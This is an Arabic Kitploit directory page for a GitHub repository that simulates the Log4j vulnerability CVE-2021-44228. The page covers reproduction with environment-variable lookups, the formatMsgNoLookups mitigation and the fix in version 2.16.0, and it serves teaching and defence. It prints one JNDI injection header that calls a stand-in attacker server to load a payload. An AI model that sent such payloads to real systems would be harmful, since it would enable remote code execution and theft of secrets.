Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2021-44228 — محاكاة بسيطة للثغرة سيئة السمعة CVE-2021-44228. | Kitploit
أدوات/GitHubGitHub/nikolas-charalambidis/cve-2021-44228
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubnikolas-charalambidis/cve-2021-44228

cve-2021-44228

محاكاة بسيطة للثغرة سيئة السمعة CVE-2021-44228.

عرض المستودع
منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Java CI

CVE-2021-44228

يمثل هذا المستودع محاكاة مبسّطة لثغرة CVE-2021-44228 الشهيرة.

إلى جانب عمليات البحث في خصائص النظام وهياكل القواميس الأخرى، يوفّر Apache Log4j أيضًا ميزة بحث JNDI لأسباب متعددة. يمكن لـ JNDI الحصول على الخدمات من عدد من مزوّدي الخدمات، مثل LDAP وDNS وسجل Java RMI، وغيرها. إن JNDI بحد ذاته واجهة برمجة تطبيقات بسيطة وغير آمنة لا تحمي من مزوّدي الخدمات الذين يتحكم بهم طرف ثالث. طالما يتحكم المهاجم بخادم يمكن الوصول إليه علنًا عبر عنوان URL خبيث ويعرف ما الذي يسجّله التطبيق الذي يستمع على منفذ معين، فيمكنه إساءة استخدام تنسيق السجل لدفع التطبيق إلى تحميل وتنفيذ كود Java عشوائي عبر حقن JNDI. يمكن تمرير ذلك عبر ترويسات الطلبات التي تُسجَّل بشكل شائع، إما كنص عادي أو بشكل مبهم.

root@kitploit:~
user-agent: ${jndi:ldap://evilserver.com/payload}

كان Apache Log4j عرضةً لثغرة تنفيذ التعليمات البرمجية عن بُعد قبل صدور الإصدار 2.16.0 في 13 ديسمبر، ولمؤلّفيه مني كل الاحترام لاستجابتهم السريعة.

الموارد:

  • https://logging.apache.org/log4j/2.x/security.html
  • https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  • https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
  • https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns

مثال

تستخدم المحاكاة متغيرات البيئة بدلاً من خادم LDAP، كما يدعم تنسيق السجل استبدال الخصائص. المبدأ لا يختلف.

المتطلبات الأساسية

يتطلب الأمر Java 11 وMaven، ومع ذلك فإن Maven Wrapper مضمّن أيضًا في المستودع.

الاستغلال

يعرّف مستودع GitHub سرًا للمستودع باسم PASSWORD يتم تعيينه كمتغير بيئة في ملف سير العمل .github/workflow/ci.yml من أجل إتاحة السر لأحد الإجراءات. لإعادة إنتاج المشكلة محليًا، يمكن استخدام متغير البيئة شائع الاستخدام JAVA_HOME. يبني سير العمل وينفّذ تطبيقين بإصدارين مختلفين من Apache Log4j، وهما 2.14.1 و2.16.0، وإليك مثال على تنفيذ على GitHub Actions: Java CI #7.

Apache Log4j 2.14.1

هذا الإصدار عرضة للهجوم. اتبع هذه الخطوات لإعادة الإنتاج:

  1. mvn clean install -f log4j-2.14.1

  2. java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    يظهر متغير البيئة مسجَّلًا:

    args[0] = C:\Program Files\Java\jdk-11.0.11

إليك لقطة شاشة من GitHub Action فقط في حال تمت إزالة التشغيل الفعلي تلقائيًا:

log4j-2.14.1.png

لاحظ أنه بمجرد محاولة طباعة الأسرار في السجل، يقوم GitHub تلقائيًا بحجبها وتكون القيم مقنّعة وتُعرض على شكل ***. ومع ذلك، فقد تم استبدال الخاصية.

التخفيف

يتمثل الحل البديل المؤقت والجزئي في إضافة مُعامل JVM -Dlog4j2.formatMsgNoLookups=True، وبالتالي يلزم إعادة تشغيل جميع عُقد التطبيق.

  1. mvn clean install -f log4j-2.14.1

  2. java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    لا يحدث أي استبدال للخصائص:

    args[0] = ${env:JAVA_HOME:-}

ومرة أخرى، إليك لقطة شاشة من GitHub Actions:

log4j-2.14.1-mitigated.png

Apache Log4j 2.16.0

تم إصلاح المشكلة في Log4j 2.12.2 (Java 7) وLog4j 2.16.0 (Java 8) بواسطة فريق أمان Log4j.

  1. mvn clean install -f log4j-2.16.0

  2. java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'

    لا يحدث أي استبدال للخصائص:

    args[0] = ${env:JAVA_HOME:-}

ومرة أخرى، إليك لقطة شاشة من GitHub Actions:

log4j-2.16.0.png

تنزيل الأداة